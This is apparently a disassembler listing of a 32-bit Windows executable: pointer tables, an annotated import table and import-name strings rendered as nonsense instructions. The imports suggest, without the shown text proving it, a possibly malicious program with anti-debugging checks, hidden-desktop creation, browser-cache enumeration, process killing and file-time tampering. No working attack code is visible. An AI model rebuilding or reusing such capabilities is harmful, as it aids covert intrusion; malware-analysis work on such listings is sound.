dword_44811C dd 2 dup(0) ; .text:00448020o ...
dd 485C0h, 485D4h, 485E8h, 485F8h
dword_448134 dd 2 dup(0) ; .text:00448034o ...
dd 4860Ch, 4861Ch, 4862Ch, 48648h, 4865Ch, 48674h, 4868Ch
dd 4869Ch, 486ACh, 486BCh, 486D4h, 486E8h, 486FCh, 48710h
dd 48728h, 48738h, 48748h, 48758h, 48768h, 48778h, 48790h
dd 487A8h, 487BCh, 487D0h, 487E4h, 487FCh, 48814h, 48824h
dd 48834h, 48848h, 48858h, 48864h, 48874h, 48880h, 48890h
dd 488A0h, 488ACh, 488B8h, 488C8h, 488D8h, 488ECh, 488FCh
dd 48904h, 48918h, 48928h, 48938h, 48948h, 48960h, 4896Ch
dd 48978h, 48988h, 48994h, 489A0h, 489B4h
dword_448214 dd 2 dup(0) ; .text:00448048o ...
dd 489C4h, 489D8h, 489ECh, 489FCh, 48A0Ch, 48A18h, 48A28h
dd 48A34h, 48A4Ch, 48A5Ch, 48A68h, 48A74h, 48A84h, 48A94h
dd 48AA8h, 48ABCh, 48AD0h, 48AE4h, 48AF8h, 48B0Ch, 48B20h
dd 48B2Ch, 48B3Ch, 48B50h, 48B64h, 48B74h, 48B88h, 48B98h
dd 48BA8h
dword_448290 dd 2 dup(0) ; .text:0044805Co ...
dd 48BBCh, 48BD0h, 48BE0h, 48BF0h, 48C08h
dword_4482AC dd 2 dup(0) ; .text:00448070o ...
dd 48C18h, 48C2Ch, 48C44h, 48C58h, 48C68h, 48C78h, 48C8Ch
dd 48CA0h, 48CB4h, 48CC8h, 48CDCh, 48CF8h, 48D10h
dword_4482E8 dd 2 dup(0) ; .text:00448084o ...
dd 48D2Ch, 48D34h, 48D44h, 48D50h, 48D5Ch, 48D64h, 48D6Ch
dd 48D78h, 48D84h, 48D90h, 48D98h, 48DA0h, 48DACh, 48DB8h
dd 48DC0h, 48DCCh, 48DD8h, 48DE4h
dword_448338 dd 2 dup(0) ; .text:00448098o ...
_text ends
;
; Imports from oleaut32.dll
;
; ===========================================================================
; Segment type: Externs
; _idata
; BSTR __stdcall SysAllocString(const OLECHAR *psz)
extrn __imp_SysAllocString:dword ; DATA XREF: SysAllocStringr
;
; Imports from wininet.dll
;
extrn __imp_FindFirstUrlCacheEntryA:dword
; DATA XREF: FindFirstUrlCacheEntryAr
extrn __imp_FindNextUrlCacheEntryA:dword
; DATA XREF: FindNextUrlCacheEntryAr
;
; Imports from ole32.dll
;
; HRESULT __stdcall CoCreateInstance(const IID *const rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, const IID *const riid, LPVOID *ppv)
extrn __imp_CoCreateInstance:dword ; DATA XREF: CoCreateInstancer
; HRESULT __stdcall CLSIDFromString(LPOLESTR lpsz, LPCLSID pclsid)
extrn __imp_CLSIDFromString:dword ; DATA XREF: CLSIDFromStringr
; HRESULT __stdcall CoInitialize(LPVOID pvReserved)
extrn __imp_CoInitialize:dword ; DATA XREF: CoInitializer
; void __stdcall CoUninitialize()
extrn __imp_CoUninitialize:dword ; DATA XREF: CoUninitializer
;
; Imports from kernel32.dll
;
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
extrn __imp_DeleteFileA:dword ; DATA XREF: DeleteFileAr
; void __stdcall ExitProcess(UINT uExitCode)
extrn __imp_ExitProcess:dword ; DATA XREF: ExitProcessr
; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize)
extrn __imp_ExpandEnvironmentStringsA:dword
; DATA XREF: ExpandEnvironmentStringsAr
; LPSTR __stdcall GetCommandLineA()
extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr
; DWORD __stdcall GetCurrentProcessId()
extrn __imp_GetCurrentProcessId:dword ; DATA XREF: GetCurrentProcessIdr
; DWORD __stdcall GetCurrentThreadId()
extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr
; DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)
extrn __imp_GetFileSize:dword ; DATA XREF: GetFileSizer
; BOOL __stdcall GetFileTime(HANDLE hFile, LPFILETIME lpCreationTime, LPFILETIME lpLastAccessTime, LPFILETIME lpLastWriteTime)
extrn __imp_GetFileTime:dword ; DATA XREF: GetFileTimer
; DWORD __stdcall GetLastError()
extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr
; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize)
extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
extrn __imp_GetModuleHandleA:dword ; DATA XREF: GetModuleHandleAr
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
extrn __imp_GetProcAddress:dword ; DATA XREF: GetProcAddressr
; HANDLE __stdcall GetProcessHeap()
extrn __imp_GetProcessHeap:dword ; DATA XREF: GetProcessHeapr
; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer, UINT uSize)
extrn __imp_GetSystemDirectoryA:dword ; DATA XREF: GetSystemDirectoryAr
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn __imp_CloseHandle:dword ; DATA XREF: CloseHandler
; DWORD __stdcall GetTempPathA(DWORD nBufferLength, LPSTR lpBuffer)
extrn __imp_GetTempPathA:dword ; DATA XREF: GetTempPathAr
; DWORD __stdcall GetTickCount()
extrn __imp_GetTickCount:dword ; DATA XREF: GetTickCountr
; DWORD __stdcall GetVersion()
extrn __imp_GetVersion:dword ; DATA XREF: GetVersionr
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation)
extrn __imp_GetVersionExA:dword ; DATA XREF: GetVersionExAr
; BOOL __stdcall GetVolumeInformationA(LPCSTR lpRootPathName, LPSTR lpVolumeNameBuffer, DWORD nVolumeNameSize, LPDWORD lpVolumeSerialNumber, LPDWORD lpMaximumComponentLength, LPDWORD lpFileSystemFlags, LPSTR lpFileSystemNameBuffer, DWORD nFileSystemNameSize)
extrn __imp_GetVolumeInformationA:dword ; DATA XREF: GetVolumeInformationAr
; UINT __stdcall GetWindowsDirectoryA(LPSTR lpBuffer, UINT uSize)
extrn __imp_GetWindowsDirectoryA:dword ; DATA XREF: GetWindowsDirectoryAr
; ATOM __stdcall GlobalAddAtomA(LPCSTR lpString)
extrn __imp_GlobalAddAtomA:dword ; DATA XREF: GlobalAddAtomAr
; ATOM __stdcall GlobalDeleteAtom(ATOM nAtom)
extrn __imp_GlobalDeleteAtom:dword ; DATA XREF: GlobalDeleteAtomr
; ATOM __stdcall GlobalFindAtomA(LPCSTR lpString)
extrn __imp_GlobalFindAtomA:dword ; DATA XREF: GlobalFindAtomAr
; void __stdcall GlobalMemoryStatus(LPMEMORYSTATUS lpBuffer)
extrn __imp_GlobalMemoryStatus:dword ; DATA XREF: GlobalMemoryStatusr
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
extrn __imp_InterlockedIncrement:dword ; DATA XREF: InterlockedIncrementr
; BOOL __stdcall IsBadReadPtr(const void *lp, UINT_PTR ucb)
extrn __imp_IsBadReadPtr:dword ; DATA XREF: IsBadReadPtrr
; BOOL __stdcall IsBadWritePtr(LPVOID lp, UINT_PTR ucb)
extrn __imp_IsBadWritePtr:dword ; DATA XREF: IsBadWritePtrr
; BOOL __stdcall IsDebuggerPresent()
extrn __imp_IsDebuggerPresent:dword ; DATA XREF: IsDebuggerPresentr
; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName)
extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr
; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, BOOL bFailIfExists)
extrn __imp_CopyFileA:dword ; DATA XREF: CopyFileAr
; HLOCAL __stdcall LocalAlloc(UINT uFlags, SIZE_T uBytes)
extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr
; HLOCAL __stdcall LocalFree(HLOCAL hMem)
extrn __imp_LocalFree:dword ; DATA XREF: LocalFreer
; HANDLE __stdcall OpenMutexA(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCSTR lpName)
extrn __imp_OpenMutexA:dword ; DATA XREF: OpenMutexAr
; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
extrn __imp_OpenProcess:dword ; DATA XREF: OpenProcessr
; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
extrn __imp_ReadFile:dword ; DATA XREF: ReadFiler
extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
extrn __imp_RtlZeroMemory:dword ; DATA XREF: RtlZeroMemoryr
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
extrn __imp_CreateFileA:dword ; DATA XREF: CreateFileAr
; DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
extrn __imp_SetFilePointer:dword ; DATA XREF: SetFilePointerr
; BOOL __stdcall SetFileTime(HANDLE hFile, const FILETIME *lpCreationTime, const FILETIME *lpLastAccessTime, const FILETIME *lpLastWriteTime)
extrn __imp_SetFileTime:dword ; DATA XREF: SetFileTimer
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn __imp_Sleep:dword ; DATA XREF: Sleepr
; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT uExitCode)
extrn __imp_TerminateProcess:dword ; DATA XREF: TerminateProcessr
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
extrn __imp_VirtualAlloc:dword ; DATA XREF: VirtualAllocr
; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
extrn __imp_VirtualFree:dword ; DATA XREF: VirtualFreer
; SIZE_T __stdcall VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
extrn __imp_VirtualQuery:dword ; DATA XREF: VirtualQueryr
; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar)
extrn __imp_WideCharToMultiByte:dword ; DATA XREF: WideCharToMultiByter
; UINT __stdcall WinExec(LPCSTR lpCmdLine, UINT uCmdShow)
extrn __imp_WinExec:dword ; DATA XREF: WinExecr
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler
; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName)
extrn __imp_CreateMutexA:dword ; DATA XREF: CreateMutexAr
; int __stdcall lstrlenA(LPCSTR lpString)
extrn __imp_lstrlenA:dword ; DATA XREF: lstrlenAr
; int __stdcall lstrlenW(LPCWSTR lpString)
extrn __imp_lstrlenW:dword ; DATA XREF: lstrlenWr
; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
extrn __imp_CreateProcessA:dword ; DATA XREF: CreateProcessAr
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
extrn __imp_CreateThread:dword ; DATA XREF: CreateThreadr
;
; Imports from user32.dll
;
; LRESULT __stdcall CallWindowProcA(WNDPROC lpPrevWndFunc, HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
extrn __imp_CallWindowProcA:dword ; DATA XREF: CallWindowProcAr
; int __stdcall GetWindowTextA(HWND hWnd, LPSTR lpString, int nMaxCount)
extrn __imp_GetWindowTextA:dword ; DATA XREF: GetWindowTextAr
; BOOL __stdcall GetWindowRect(HWND hWnd, LPRECT lpRect)
extrn __imp_GetWindowRect:dword ; DATA XREF: GetWindowRectr
; HWND __stdcall FindWindowA(LPCSTR lpClassName, LPCSTR lpWindowName)
extrn __imp_FindWindowA:dword ; DATA XREF: FindWindowAr
; HWND __stdcall GetWindow(HWND hWnd, UINT uCmd)
extrn __imp_GetWindow:dword ; DATA XREF: GetWindowr
; int __stdcall GetClassNameA(HWND hWnd, LPSTR lpClassName, int nMaxCount)
extrn __imp_GetClassNameA:dword ; DATA XREF: GetClassNameAr
; HWND __stdcall SetFocus(HWND hWnd)
extrn __imp_SetFocus:dword ; DATA XREF: SetFocusr
; HWND __stdcall GetForegroundWindow()
extrn __imp_GetForegroundWindow:dword ; DATA XREF: GetForegroundWindowr
; HCURSOR __stdcall LoadCursorA(HINSTANCE hInstance, LPCSTR lpCursorName)
extrn __imp_LoadCursorA:dword ; DATA XREF: LoadCursorAr
; UINT_PTR __stdcall SetTimer(HWND hWnd, UINT_PTR nIDEvent, UINT uElapse, TIMERPROC lpTimerFunc)
extrn __imp_SetTimer:dword ; DATA XREF: SetTimerr
; HICON __stdcall LoadIconA(HINSTANCE hInstance, LPCSTR lpIconName)
extrn __imp_LoadIconA:dword ; DATA XREF: LoadIconAr
; int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
extrn __imp_MessageBoxA:dword ; DATA XREF: MessageBoxAr
; BOOL __stdcall GetMessageA(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax)
extrn __imp_GetMessageA:dword ; DATA XREF: GetMessageAr
; LONG __stdcall GetWindowLongA(HWND hWnd, int nIndex)
extrn __imp_GetWindowLongA:dword ; DATA XREF: GetWindowLongAr
; LONG __stdcall SetWindowLongA(HWND hWnd, int nIndex, LONG dwNewLong)
extrn __imp_SetWindowLongA:dword ; DATA XREF: SetWindowLongAr
; HDESK __stdcall CreateDesktopA(LPCSTR lpszDesktop, LPCSTR lpszDevice, LPDEVMODEA pDevmode, DWORD dwFlags, ACCESS_MASK dwDesiredAccess, LPSECURITY_ATTRIBUTES lpsa)
extrn __imp_CreateDesktopA:dword ; DATA XREF: CreateDesktopAr
; BOOL __stdcall SetThreadDesktop(HDESK hDesktop)
extrn __imp_SetThreadDesktop:dword ; DATA XREF: SetThreadDesktopr
; HDESK __stdcall GetThreadDesktop(DWORD dwThreadId)
extrn __imp_GetThreadDesktop:dword ; DATA XREF: GetThreadDesktopr
; BOOL __stdcall TranslateMessage(const MSG *lpMsg)
extrn __imp_TranslateMessage:dword ; DATA XREF: TranslateMessager
; LRESULT __stdcall DispatchMessageA(const MSG *lpMsg)
extrn __imp_DispatchMessageA:dword ; DATA XREF: DispatchMessageAr
; int wsprintfA(LPSTR, LPCSTR, ...)
extrn __imp_wsprintfA:dword ; DATA XREF: wsprintfAr
; LRESULT __stdcall SendMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
extrn __imp_SendMessageA:dword ; DATA XREF: SendMessageAr
; ATOM __stdcall RegisterClassA(const WNDCLASSA *lpWndClass)
extrn __imp_RegisterClassA:dword ; DATA XREF: RegisterClassAr
; void __stdcall PostQuitMessage(int nExitCode)
extrn __imp_PostQuitMessage:dword ; DATA XREF: PostQuitMessager
; BOOL __stdcall ShowWindow(HWND hWnd, int nCmdShow)
extrn __imp_ShowWindow:dword ; DATA XREF: ShowWindowr
; HWND __stdcall CreateWindowExA(DWORD dwExStyle, LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam)
extrn __imp_CreateWindowExA:dword ; DATA XREF: CreateWindowExAr
; BOOL __stdcall DestroyWindow(HWND hWnd)
extrn __imp_DestroyWindow:dword ; DATA XREF: DestroyWindowr
; BOOL __stdcall MoveWindow(HWND hWnd, int X, int Y, int nWidth, int nHeight, BOOL bRepaint)
extrn __imp_MoveWindow:dword ; DATA XREF: MoveWindowr
; LRESULT __stdcall DefWindowProcA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
extrn __imp_DefWindowProcA:dword ; DATA XREF: DefWindowProcAr
;
; Imports from gdi32.dll
;
; HGDIOBJ __stdcall GetStockObject(int i)
extrn __imp_GetStockObject:dword ; DATA XREF: GetStockObjectr
; COLORREF __stdcall SetBkColor(HDC hdc, COLORREF color)
extrn __imp_SetBkColor:dword ; DATA XREF: SetBkColorr
; COLORREF __stdcall SetTextColor(HDC hdc, COLORREF color)
extrn __imp_SetTextColor:dword ; DATA XREF: SetTextColorr
; HBRUSH __stdcall CreateBrushIndirect(const LOGBRUSH *plbrush)
extrn __imp_CreateBrushIndirect:dword ; DATA XREF: CreateBrushIndirectr
; HFONT __stdcall CreateFontA(int cHeight, int cWidth, int cEscapement, int cOrientation, int cWeight, DWORD bItalic, DWORD bUnderline, DWORD bStrikeOut, DWORD iCharSet, DWORD iOutPrecision, DWORD iClipPrecision, DWORD iQuality, DWORD iPitchAndFamily, LPCSTR pszFaceName)
extrn __imp_CreateFontA:dword ; DATA XREF: CreateFontAr
;
; Imports from advapi32.dll
;
; BOOL __stdcall OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle)
extrn __imp_OpenProcessToken:dword ; DATA XREF: OpenProcessTokenr
; BOOL __stdcall GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength)
extrn __imp_GetTokenInformation:dword ; DATA XREF: GetTokenInformationr
; LSTATUS __stdcall RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition)
extrn __imp_RegCreateKeyExA:dword ; DATA XREF: RegCreateKeyExAr
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
extrn __imp_RegCloseKey:dword ; DATA XREF: RegCloseKeyr
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)
extrn __imp_RegOpenKeyExA:dword ; DATA XREF: RegOpenKeyExAr
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
extrn __imp_RegQueryValueExA:dword ; DATA XREF: RegQueryValueExAr
; LSTATUS __stdcall RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData)
extrn __imp_RegSetValueExA:dword ; DATA XREF: RegSetValueExAr
; DWORD __stdcall GetSecurityInfo(HANDLE handle, SE_OBJECT_TYPE ObjectType, SECURITY_INFORMATION SecurityInfo, PSID *ppsidOwner, PSID *ppsidGroup, PACL *ppDacl, PACL *ppSacl, PSECURITY_DESCRIPTOR *ppSecurityDescriptor)
extrn __imp_GetSecurityInfo:dword ; DATA XREF: GetSecurityInfor
; DWORD __stdcall SetSecurityInfo(HANDLE handle, SE_OBJECT_TYPE ObjectType, SECURITY_INFORMATION SecurityInfo, PSID psidOwner, PSID psidGroup, PACL pDacl, PACL pSacl)
extrn __imp_SetSecurityInfo:dword ; DATA XREF: SetSecurityInfor
; DWORD __stdcall SetEntriesInAclA(ULONG cCountOfExplicitEntries, PEXPLICIT_ACCESS_A pListOfExplicitEntries, PACL OldAcl, PACL *NewAcl)
extrn __imp_SetEntriesInAclA:dword ; DATA XREF: SetEntriesInAclAr
; PSID_IDENTIFIER_AUTHORITY __stdcall GetSidIdentifierAuthority(PSID pSid)
extrn __imp_GetSidIdentifierAuthority:dword
; DATA XREF: GetSidIdentifierAuthorityr
; PDWORD __stdcall GetSidSubAuthority(PSID pSid, DWORD nSubAuthority)
extrn __imp_GetSidSubAuthority:dword ; DATA XREF: GetSidSubAuthorityr
; PUCHAR __stdcall GetSidSubAuthorityCount(PSID pSid)
extrn __imp_GetSidSubAuthorityCount:dword
; DATA XREF: GetSidSubAuthorityCountr
;
; Imports from crtdll.dll
;
; char *__cdecl _itoa(int Val, char *DstBuf, int Radix)
extrn __imp__itoa:dword ; DATA XREF: _itoar
extrn __imp___GetMainArgs:dword ; DATA XREF: __GetMainArgsr
; void __cdecl _sleep(unsigned __int32 Duration)
extrn __imp__sleep:dword ; DATA XREF: _sleepr
; int __cdecl _stricmp(const char *Str1, const char *Str2)
extrn __imp__stricmp:dword ; DATA XREF: _stricmpr
; int __cdecl abs(int X)
extrn __imp_abs:dword ; DATA XREF: absr
; void __cdecl exit(int Code)
extrn __imp_exit:dword ; DATA XREF: exitr
; int __cdecl memcmp(const void *Buf1, const void *Buf2, size_t Size)
extrn __imp_memcmp:dword ; DATA XREF: memcmpr
; void *__cdecl memcpy(void *Dst, const void *Src, size_t Size)
extrn __imp_memcpy:dword ; DATA XREF: memcpyr
; void *__cdecl memset(void *Dst, int Val, size_t Size)
extrn __imp_memset:dword ; DATA XREF: memsetr
extrn __imp_raise:dword ; DATA XREF: raiser
; int __cdecl rand()
extrn __imp_rand:dword ; DATA XREF: randr
extrn __imp_signal:dword ; DATA XREF: signalr
; int sprintf(char *Dest, const char *Format, ...)
extrn __imp_sprintf:dword ; DATA XREF: sprintfr
; void __cdecl srand(unsigned int Seed)
extrn __imp_srand:dword ; DATA XREF: srandr
; int sscanf(const char *Src, const char *Format, ...)
extrn __imp_sscanf:dword ; DATA XREF: sscanfr
; char *__cdecl strcat(char *Dest, const char *Source)
extrn __imp_strcat:dword ; DATA XREF: strcatr
; char *__cdecl strchr(const char *Str, int Val)
extrn __imp_strchr:dword ; DATA XREF: strchrr
; int __cdecl strncmp(const char *Str1, const char *Str2, size_t MaxCount)
extrn __imp_strncmp:dword ; DATA XREF: strncmpr
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 448570h
assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
dd 0
dd 79530046h, 6C6C4173h, 7453636Fh, 676E6972h, 0
dd 69460015h, 6946646Eh, 55747372h, 61436C72h, 45656863h
dd 7972746Eh, 41h, 6946001Ch, 654E646Eh, 72557478h, 6361436Ch
dd 6E456568h, 41797274h, 0
dd 6F43006Ah, 61657243h, 6E496574h, 6E617473h, 6563h, 4C43007Ch
dd 46444953h, 536D6F72h, 6E697274h, 67h, 6F430058h, 74696E49h
dd 696C6169h, 657Ah, 6F43005Bh, 6E696E55h, 61697469h, 657A696Ch
dd 0
dd 6544006Bh, 6574656Ch, 656C6946h, 41h, 7845009Bh, 72507469h
dd 7365636Fh, 73h, 7845009Dh, 646E6170h, 69766E45h, 6D6E6F72h
dd 53746E65h, 6E697274h, 417367h, 654700EDh, 6D6F4374h
dd 646E616Dh, 656E694Ch, 41h, 65470112h, 72754374h, 746E6572h
dd 636F7250h, 49737365h, 64h, 65470115h, 72754374h, 746E6572h
dd 65726854h, 64496461h, 0
dd 6547012Fh, 6C694674h, 7A695365h, 65h, 65470131h, 6C694674h
dd 6D695465h, 65h, 6547013Ch, 73614C74h, 72724574h, 726Fh
dd 65470147h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
dd 0
dd 65470149h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470167h
dd 6F725074h, 64644163h, 73736572h, 0
dd 6547016Ah, 6F725074h, 73736563h, 70616548h, 0
dd 65470188h, 73795374h, 446D6574h, 63657269h, 79726F74h
dd 41h, 6C430027h, 4865736Fh, 6C646E61h, 65h, 6547019Ah
dd 6D655474h, 74615070h, 4168h, 654701A4h, 63695474h, 756F436Bh
dd 746Eh, 654701ACh, 72655674h, 6E6F6973h, 0
dd 654701ADh, 72655674h, 6E6F6973h, 417845h, 654701AFh
dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh
dd 654701B7h, 6E695774h, 73776F64h, 65726944h, 726F7463h
dd 4179h, 6C4701BAh, 6C61626Fh, 41646441h, 416D6F74h, 0
dd 6C4701BEh, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C4701BFh
dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 6C4701C8h, 6C61626Fh
dd 6F6D654Dh, 74537972h, 73757461h, 0
; ---------------------------------------------------------------------------
jmp short loc_4487FF
; ---------------------------------------------------------------------------
dec ecx
loc_4487FF: ; CODE XREF: .text:004487FCj
outsb
jz short loc_448867
jb short near ptr loc_44886F+1
outsd
arpl [ebx+65h], bp
db 64h
dec ecx
outsb
arpl [edx+65h], si
insd
outs dx, byte ptr gs:[esi]
jz short $+2
add cl, dh
add [ecx+73h], ecx
inc edx
popa
db 64h
push edx
db 65h
popa
db 64h
push eax
jz short loc_448894
; ---------------------------------------------------------------------------
dw 0
db 0F4h ; ô
db 1, 49h, 73h
aBadwriteptr db 'BadWritePtr',0
db 0F7h ; ÷
db 1, 49h, 73h
aDebuggerpresen db 'DebuggerPresent',0
dd 6F4C0203h, 694C6461h, 72617262h, 4179h, 6F430033h, 69467970h
dd 41656Ch
; ---------------------------------------------------------------------------
or [edx], eax
dec esp
loc_448867: ; CODE XREF: .text:00448800j
outsd
arpl [ecx+6Ch], sp
inc ecx
insb
insb
outsd
loc_44886F: ; CODE XREF: .text:00448802j
arpl [eax], ax
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 6F4C020Dh, 466C6163h, 656572h, 704F0230h, 754D6E65h
dd 41786574h, 0
dd 704F0232h
; ---------------------------------------------------------------------------
loc_448894: ; CODE XREF: .text:00448820j
outs dx, byte ptr gs:[esi]
push eax
jb short loc_448908
arpl [ebp+73h], sp
jnb short $+2
; ---------------------------------------------------------------------------
dw 0
dd 6552025Ch, 69466461h, 656Ch, 74520278h, 776E556Ch, 646E69h
dd 74520279h, 72655A6Ch, 6D654D6Fh, 79726Fh, 72430042h
dd 65746165h, 656C6946h, 41h, 655302A8h, 6C694674h, 696F5065h
dd 7265746Eh, 0
dd 655302ACh, 6C694674h, 6D695465h, 65h, 6C5302DCh, 706565h
dd 655402E4h
; ---------------------------------------------------------------------------
loc_448908: ; CODE XREF: .text:00448897j
jb short loc_448977
imul ebp, [esi+61h], 72506574h
outsd
arpl [ebp+73h], sp
jnb short $+2
add dh, bh
add dl, [esi+69h]
jb short near ptr word_448992
jnz short loc_448981
insb
inc ecx
insb
insb
outsd
arpl [eax], ax
; ---------------------------------------------------------------------------
db 0
db 0
db 3, 56h, 69h
aRtualfree db 'rtualFree',0
align 4
db 5
db 3, 56h, 69h
aRtualquery db 'rtualQuery',0
align 4
db 11h
db 3, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
align 10h
dd 69570312h, 6578456Eh, 63h, 7257031Dh, 46657469h
db 69h, 6Ch, 65h
; ---------------------------------------------------------------------------
loc_448977: ; CODE XREF: .text:loc_448908j
add [edi+0], cl
inc ebx
jb short loc_4489E2
popa
jz short near ptr loc_4489E4+1
dec ebp
loc_448981: ; CODE XREF: .text:0044891Ej
jnz short loc_4489F7
db 65h
js short loc_4489C7
; ---------------------------------------------------------------------------
dw 0
dd 736C0345h, 656C7274h
db 6Eh, 41h
word_448992 dw 0 ; CODE XREF: .text:0044891Cj
dd 736C0346h, 656C7274h, 576Eh, 72430054h, 65746165h, 636F7250h
dd 41737365h, 0
dd 7243005Ah, 65746165h, 65726854h, 6461h
db 63h, 0, 43h
; ---------------------------------------------------------------------------
loc_4489C7: ; CODE XREF: .text:00448983j
popa
insb
insb
push edi
imul ebp, [esi+64h], 7250776Fh
outsd
arpl [ecx+0], ax
; ---------------------------------------------------------------------------
dw 0
dd 6547006Ch, 6E695774h
db 64h, 6Fh
; ---------------------------------------------------------------------------
loc_4489E2: ; CODE XREF: .text:0044897Bj
ja short loc_448A38
loc_4489E4: ; CODE XREF: .text:0044897Ej
db 65h
js short loc_448A5B
inc ecx
; ---------------------------------------------------------------------------
dd 0
dd 65470073h, 6E695774h
db 64h, 6Fh, 77h
; ---------------------------------------------------------------------------
loc_4489F7: ; CODE XREF: .text:loc_448981j
push edx
arpl gs:[eax+eax+78h], si
add [esi+69h], al
outsb
db 64h
push edi
imul ebp, [esi+64h], 41776Fh
; ---------------------------------------------------------------------------
dw 0
dd 6547007Ch, 6E695774h, 776F64h, 65470011h, 616C4374h
dd 614E7373h, 41656Dh, 655300CFh, 636F4674h, 7375h, 654700D4h
; ---------------------------------------------------------------------------
loc_448A38: ; CODE XREF: .text:loc_4489E2j
jz short near ptr loc_448A7F+1
outsd
jb short loc_448AA2
db 67h
jb near ptr 8AAFh
jnz short loc_448AB0
db 64h
push edi
imul ebp, [esi+64h], 776Fh
add [ecx], bl
add [edi+ebp*2+61h], cl
db 64h
inc ebx
jnz short near ptr loc_448AC5+2
